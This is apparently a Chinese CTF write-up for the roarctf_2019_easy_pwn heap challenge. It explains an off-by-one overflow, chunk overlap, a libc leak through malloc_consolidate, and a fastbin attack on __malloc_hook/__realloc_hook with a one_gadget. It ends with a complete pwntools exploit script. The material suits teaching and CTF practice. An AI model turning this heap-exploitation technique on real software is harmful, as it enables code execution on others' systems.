roarctf_2019_easy_pwn题解

发布于 2020-07-20  62 次阅读


漏洞分析

菜单题,注意到edit函数中在判断size时的一个异常的判断

Screen Shot 2020-07-19 at 15.21.30

可以看到当我们输入的size比创建堆块时输入的size恰好大10时可以产生一个off-by-one漏洞。因此我们可以考虑利用该漏洞进行堆溢出攻击。

可行性:我们采用下面的分配序列:

add(0x18)
add(0x90)
add(0x68)
add(0x8)
delete(1)
norm_size = 0x8 * 2 + chunk.maxSize(144) + 0x8 * 3
# 这样计算使得第二个堆块包含进第三个堆块的prev_size, size以及fd, bk
chunk.norm_size = norm_size
max_size = chunk.maxSize(0x18)
# 考虑了堆块复用的堆块最大负载
edit(0, max_size + 10, b'a' * max_size + chunk[1][:1])
# 使用chunk[1][:1]取出chunk的size域的第一个字节
add(chunk.size2request(norm_size))
# 根据覆盖后的堆块大小确定我们应申请的堆块大小

我们申请第二个堆块的大小为144,这使得它在被free后放到了unsorted bin中,这里避免它被释放到fastbins中是因为fastbins中的堆块被分配时会对size域进行检查。相关的检查代码如下:

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";
  errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
  }

对第一个堆块使用edit操作覆盖了第二个堆块的size的低八位后,堆块结构如下:

Screen Shot 2020-07-20 at 17.01.11

经过简单的计算可以得知,第二个堆块已经覆盖了第三个堆块的前0x20个字节(到0x55ba434470e0)。再次malloc,我们便可以获得对第三个堆块的控制权,如下图所示。

Screen Shot 2020-07-20 at 17.02.51

接下来我们只需泄露libc再利用fastbin attack修改free_hook为one_gadget即可。

泄露libc

说到泄露libc,我们首先想到使用unsortedbin attack泄露。为了将第三个块放入unsorted bin,我们可首先使用edit修复第三个块的size域为0x21,接下来free使其进入fastbin。我们知道,malloc_consolidate函数会将fastbin中的所有块放入unsorted bin,又有scanf函数在接受超长的字符串时会触发malloc_consolidate。可以进行如下的操作:

chunk.req_size = 0x68
max_size = chunk.maxSize(0x90)
edit(1, max_size + 0x8, max_size * b'a' + chunk[1])
# chunk[1]用于获得整个size域,此处edit用来修复第三个堆块损坏的size域
delete(2)
# 释放第三个堆块进入fastbin
a.sla("choice: ", '6' * 0x420)
# 触发malloc consolidate
show(1)
# 显示堆块内容,泄露出main_arena地址

至此,libc被成功泄露,我们只需劫持控制流到one_gadget即可。首先通过fastbin attack修改malloc_hook为one_gadget,并通过一次add触发:

add(0x68)
chunk.fd = chunk_addr
delete(2)
edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3])
add(0x68)
add(0x68)
edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(0) + p64(one_addr))
add(1)

然而实测中找不到有效的gadget,这里需要使用一个知识点:由于__malloc_hook上方便是__realloc_hook,因此实际应用中可以将__malloc_hook劫持到__libc_realloc函数调用__realloc_hook前的位置,再将__realloc_hook劫持到one_gadget。这样操作的作用在于借用__libc_realloc函数头部pop,sub rsp等指令来调整栈帧,从而使one_gadget起效。

经过上述修改后,完整的exp如下:

from pwn import *
from sys import argv
from autopwn.core import *


def exp(self, a:pwnlib.tubes.tube.tube):
    choose = lambda x: a.sla("choice: ", str(x))
    chunk = Chunk(ARCH_x64)
    chunk.A = MAIN_ARENA
    chunk.M = NOT_MMAPPED
    chunk.P = PREV_INUSE

    mhook_offset = self.lib[0].symbols['__malloc_hook']
    rhook_offset = self.lib[0].symbols['__realloc_hook']
    chunk_offset = mhook_offset - 0x3 - 0x8 * 4
    system_offset = self.lib[0].symbols['system']
    realloc_offset = self.lib[0].symbols['realloc']
    arena_offset = mhook_offset + (mhook_offset - rhook_offset) * 2
    one_offset = 0xf02a4

    def add(size):
        choose(1)
        a.sla("size: ", str(size))

    def edit(idx, size, txt):
        choose(2)
        a.recvline()
        a.sla("index: ", str(idx))
        a.sla("size: ", str(size))
        a.recvuntil("content: ")
        a.send(txt)

    def delete(idx):
        choose(3)
        a.sla("index: ", str(idx))

    def show(idx):
        choose(4)
        a.sla("index: ", str(idx))

    gdb.attach(a, breakat(self.elf, [0x000CCC]))

    add(0x18)
    add(0x90)
    add(0x68)
    add(0x8)
    delete(1)
    norm_size = 0x8 * 2 + chunk.formSize(144) + 0x8 * 4
    chunk.norm_size = norm_size
    max_size = chunk.maxSize(0x18)
    edit(0, max_size + 10, max_size * b'a' + chunk[1][:1])
    print(norm_size)
    add(chunk.size2request(norm_size))

    chunk.req_size = 0x68
    max_size = chunk.maxSize(0x90)
    edit(1, max_size + 0x8, max_size * b'a' + chunk[1])
    delete(2)
    a.sla("choice: ", '6' * 0x420)
    show(1)

    a.ru("content: ")
    a.recvn(160)
    arena_addr = u64(a.recvn(8)) - 184
    chunk_addr = arena_addr + chunk_offset - arena_offset
    one_addr = arena_addr + one_offset - arena_offset
    realloc_addr = arena_addr + realloc_offset - arena_offset
    log.success(f"{arena_addr=:#x}")
    log.success(f"{chunk_addr=:#x}")

    add(0x68)
    chunk.fd = chunk_addr
    delete(2)
    edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3])
    add(0x68)
    add(0x68)
    edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(one_addr) + p64(realloc_addr + 16))
    add(1)
    return


def get_flag(self, a:pwnlib.tubes.tube.tube):
    a.interactive()
    return None


ctf(argv, exp, get_flag,
    inter="../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so",
    needed=["../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so"])

Sinon想要一个npy